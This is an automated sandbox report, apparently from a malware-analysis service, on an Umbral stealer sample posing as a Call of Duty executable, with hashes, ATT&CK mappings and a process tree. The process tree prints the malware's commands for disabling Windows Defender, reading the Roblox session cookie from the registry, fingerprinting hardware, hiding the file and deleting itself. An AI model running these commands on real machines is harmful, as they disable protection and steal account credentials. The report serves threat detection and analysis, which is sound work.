umbral | a98748afbd3f2a4f86a601eba6edcbce501d27ef25211d6a905ac6af4972816e

Analysis

max time kernel
125s
max time network
140s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
13-01-2025 13:19

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General

Target

black ops 6/Call of Duty.exe
Size

232KB
MD5

6b61cf8c88fadac330d0f9e6250c7c78
SHA1

7811fe5dc09a3677df1ab475408612d3058af724
SHA256

2a13f0c0d799ce333dc553122f96285d3ad57eb9671e860884c605362722c03f
SHA512

d3efe5f1d0bbcaa324934135a8da8348cd213ab4ceb7d87c3584979895bf895ed60910ce92f7d19efa6ceee22891da0dbe5596b1eafcf8f932d7a3c3f95928bd
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4urp7KInDAXZMK7bCLob8e1m9Oi:DoZtL+EP8urp7KInDAXZMK7bCs+j

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1432-1-0x000001D539B10000-0x000001D539B50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe
2356	powershell.exe
3708	powershell.exe
1468	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Call of Duty.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
28	discord.com
27	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2684	cmd.exe
1456	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4664	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1456	PING.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2736	wmic.exe
2736	wmic.exe
2736	wmic.exe
2736	wmic.exe
1432	Call of Duty.exe
1468	powershell.exe
1468	powershell.exe
2988	powershell.exe
2988	powershell.exe
2988	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
4044	wmic.exe
4044	wmic.exe
4044	wmic.exe
4044	wmic.exe
2776	wmic.exe
2776	wmic.exe
2776	wmic.exe
2776	wmic.exe
1500	wmic.exe
1500	wmic.exe
1500	wmic.exe
1500	wmic.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
4664	wmic.exe
4664	wmic.exe
4664	wmic.exe
4664	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	Call of Duty.exe
Token: SeIncreaseQuotaPrivilege	2736	wmic.exe
Token: SeSecurityPrivilege	2736	wmic.exe
Token: SeTakeOwnershipPrivilege	2736	wmic.exe
Token: SeLoadDriverPrivilege	2736	wmic.exe
Token: SeSystemProfilePrivilege	2736	wmic.exe
Token: SeSystemtimePrivilege	2736	wmic.exe
Token: SeProfSingleProcessPrivilege	2736	wmic.exe
Token: SeIncBasePriorityPrivilege	2736	wmic.exe
Token: SeCreatePagefilePrivilege	2736	wmic.exe
Token: SeBackupPrivilege	2736	wmic.exe
Token: SeRestorePrivilege	2736	wmic.exe
Token: SeShutdownPrivilege	2736	wmic.exe
Token: SeDebugPrivilege	2736	wmic.exe
Token: SeSystemEnvironmentPrivilege	2736	wmic.exe
Token: SeRemoteShutdownPrivilege	2736	wmic.exe
Token: SeUndockPrivilege	2736	wmic.exe
Token: SeManageVolumePrivilege	2736	wmic.exe
Token: 33	2736	wmic.exe
Token: 34	2736	wmic.exe
Token: 35	2736	wmic.exe
Token: 36	2736	wmic.exe
Token: SeIncreaseQuotaPrivilege	2736	wmic.exe
Token: SeSecurityPrivilege	2736	wmic.exe
Token: SeTakeOwnershipPrivilege	2736	wmic.exe
Token: SeLoadDriverPrivilege	2736	wmic.exe
Token: SeSystemProfilePrivilege	2736	wmic.exe
Token: SeSystemtimePrivilege	2736	wmic.exe
Token: SeProfSingleProcessPrivilege	2736	wmic.exe
Token: SeIncBasePriorityPrivilege	2736	wmic.exe
Token: SeCreatePagefilePrivilege	2736	wmic.exe
Token: SeBackupPrivilege	2736	wmic.exe
Token: SeRestorePrivilege	2736	wmic.exe
Token: SeShutdownPrivilege	2736	wmic.exe
Token: SeDebugPrivilege	2736	wmic.exe
Token: SeSystemEnvironmentPrivilege	2736	wmic.exe
Token: SeRemoteShutdownPrivilege	2736	wmic.exe
Token: SeUndockPrivilege	2736	wmic.exe
Token: SeManageVolumePrivilege	2736	wmic.exe
Token: 33	2736	wmic.exe
Token: 34	2736	wmic.exe
Token: 35	2736	wmic.exe
Token: 36	2736	wmic.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeIncreaseQuotaPrivilege	1468	powershell.exe
Token: SeSecurityPrivilege	1468	powershell.exe
Token: SeTakeOwnershipPrivilege	1468	powershell.exe
Token: SeLoadDriverPrivilege	1468	powershell.exe
Token: SeSystemProfilePrivilege	1468	powershell.exe
Token: SeSystemtimePrivilege	1468	powershell.exe
Token: SeProfSingleProcessPrivilege	1468	powershell.exe
Token: SeIncBasePriorityPrivilege	1468	powershell.exe
Token: SeCreatePagefilePrivilege	1468	powershell.exe
Token: SeBackupPrivilege	1468	powershell.exe
Token: SeRestorePrivilege	1468	powershell.exe
Token: SeShutdownPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeSystemEnvironmentPrivilege	1468	powershell.exe
Token: SeRemoteShutdownPrivilege	1468	powershell.exe
Token: SeUndockPrivilege	1468	powershell.exe
Token: SeManageVolumePrivilege	1468	powershell.exe
Token: 33	1468	powershell.exe
Token: 34	1468	powershell.exe
Token: 35	1468	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 2736	1432	Call of Duty.exe	92
PID 1432 wrote to memory of 2736	1432	Call of Duty.exe	92
PID 1432 wrote to memory of 1500	1432	Call of Duty.exe	95
PID 1432 wrote to memory of 1500	1432	Call of Duty.exe	95
PID 1432 wrote to memory of 1468	1432	Call of Duty.exe	97
PID 1432 wrote to memory of 1468	1432	Call of Duty.exe	97
PID 1432 wrote to memory of 2988	1432	Call of Duty.exe	100
PID 1432 wrote to memory of 2988	1432	Call of Duty.exe	100
PID 1432 wrote to memory of 2356	1432	Call of Duty.exe	102
PID 1432 wrote to memory of 2356	1432	Call of Duty.exe	102
PID 1432 wrote to memory of 2804	1432	Call of Duty.exe	104
PID 1432 wrote to memory of 2804	1432	Call of Duty.exe	104
PID 1432 wrote to memory of 4044	1432	Call of Duty.exe	109
PID 1432 wrote to memory of 4044	1432	Call of Duty.exe	109
PID 1432 wrote to memory of 2776	1432	Call of Duty.exe	112
PID 1432 wrote to memory of 2776	1432	Call of Duty.exe	112
PID 1432 wrote to memory of 1500	1432	Call of Duty.exe	114
PID 1432 wrote to memory of 1500	1432	Call of Duty.exe	114
PID 1432 wrote to memory of 3708	1432	Call of Duty.exe	116
PID 1432 wrote to memory of 3708	1432	Call of Duty.exe	116
PID 1432 wrote to memory of 4664	1432	Call of Duty.exe	118
PID 1432 wrote to memory of 4664	1432	Call of Duty.exe	118
PID 1432 wrote to memory of 2684	1432	Call of Duty.exe	120
PID 1432 wrote to memory of 2684	1432	Call of Duty.exe	120
PID 2684 wrote to memory of 1456	2684	cmd.exe	122
PID 2684 wrote to memory of 1456	2684	cmd.exe	122

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1500	attrib.exe

C:\Users\Admin\AppData\Local\Temp\black ops 6\Call of Duty.exe
"C:\Users\Admin\AppData\Local\Temp\black ops 6\Call of Duty.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\black ops 6\Call of Duty.exe"
  2⤵
  - Views/modifies file attributes
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\black ops 6\Call of Duty.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2804
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2776
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\black ops 6\Call of Duty.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=3932,i,4538255413480930743,12957764444767653848,262144 --variations-seed-version --mojo-platform-channel-handle=3988 /prefetch:8
1⤵
PID:4588

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations=is-enterprise-managed=no --field-trial-handle=2600,i,4538255413480930743,12957764444767653848,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:8
1⤵
PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6a807b1c91ac66f33f88a787d64904c1

SHA1
83c554c7de04a8115c9005709e5cd01fca82c5d3

SHA256
155314c1c86d8d4e5b802f1eef603c5dd4a2f7c949f069a38af5ba4959bd8256

SHA512
29f2d9f30fc081e7fe6e9fb772c810c9be0422afdc6aff5a286f49a990ededebcf0d083798c2d9f41ad8434393c6d0f5fa6df31226d9c3511ba2a41eb4a65200

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0ff8cd10414b63bed304d3f79442ec1f

SHA1
0295db6370938c4514c2e02f5c2b845deef28001

SHA256
95a82232aa10ca009386207d4fa126f5ba6127b75c6360e390b269775d3c0e5e

SHA512
4e618360300adebfe778231cac8e0ef68f60c23f29e861f59a24df640ce482a7325595a454b4b913ac325aa4cee497a4a848097afb84cca068e610080fb45e1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b3abf9c119b1e2a469d6ae5f0e7ab71b

SHA1
8721c63601b1873f76a4340dfcd3a47838bb8121

SHA256
5139fa97b9dc9c7d3b495f1e3af4a0d6d63351a7e3d5fc6e882b6a97e82015d7

SHA512
8c2884502ce833054894949c185304f7ebebd00cafe2112f9eee11eefdb1f8271aef9169fdd27204ce4eed4f8aaa28db44f5da524bca2494b1b22c1eeab20670

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amfgjvn5.etd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1432-58-0x000001D5543C0000-0x000001D5543CA000-memory.dmp

Filesize
40KB

Download
memory/1432-34-0x000001D5541C0000-0x000001D5541DE000-memory.dmp

Filesize
120KB

Download
memory/1432-78-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download
memory/1432-74-0x00007FFE58163000-0x00007FFE58165000-memory.dmp

Filesize
8KB

Download
memory/1432-2-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download
memory/1432-32-0x000001D554230000-0x000001D5542A6000-memory.dmp

Filesize
472KB

Download
memory/1432-33-0x000001D5541E0000-0x000001D554230000-memory.dmp

Filesize
320KB

Download
memory/1432-59-0x000001D5543F0000-0x000001D554402000-memory.dmp

Filesize
72KB

Download
memory/1432-1-0x000001D539B10000-0x000001D539B50000-memory.dmp

Filesize
256KB

Download
memory/1432-0-0x00007FFE58163000-0x00007FFE58165000-memory.dmp

Filesize
8KB

Download
memory/1468-4-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download
memory/1468-15-0x000001FB79CD0000-0x000001FB79CF2000-memory.dmp

Filesize
136KB

Download
memory/1468-5-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download
memory/1468-3-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download
memory/1468-18-0x00007FFE58160000-0x00007FFE58C22000-memory.dmp

Filesize
10.8MB

Download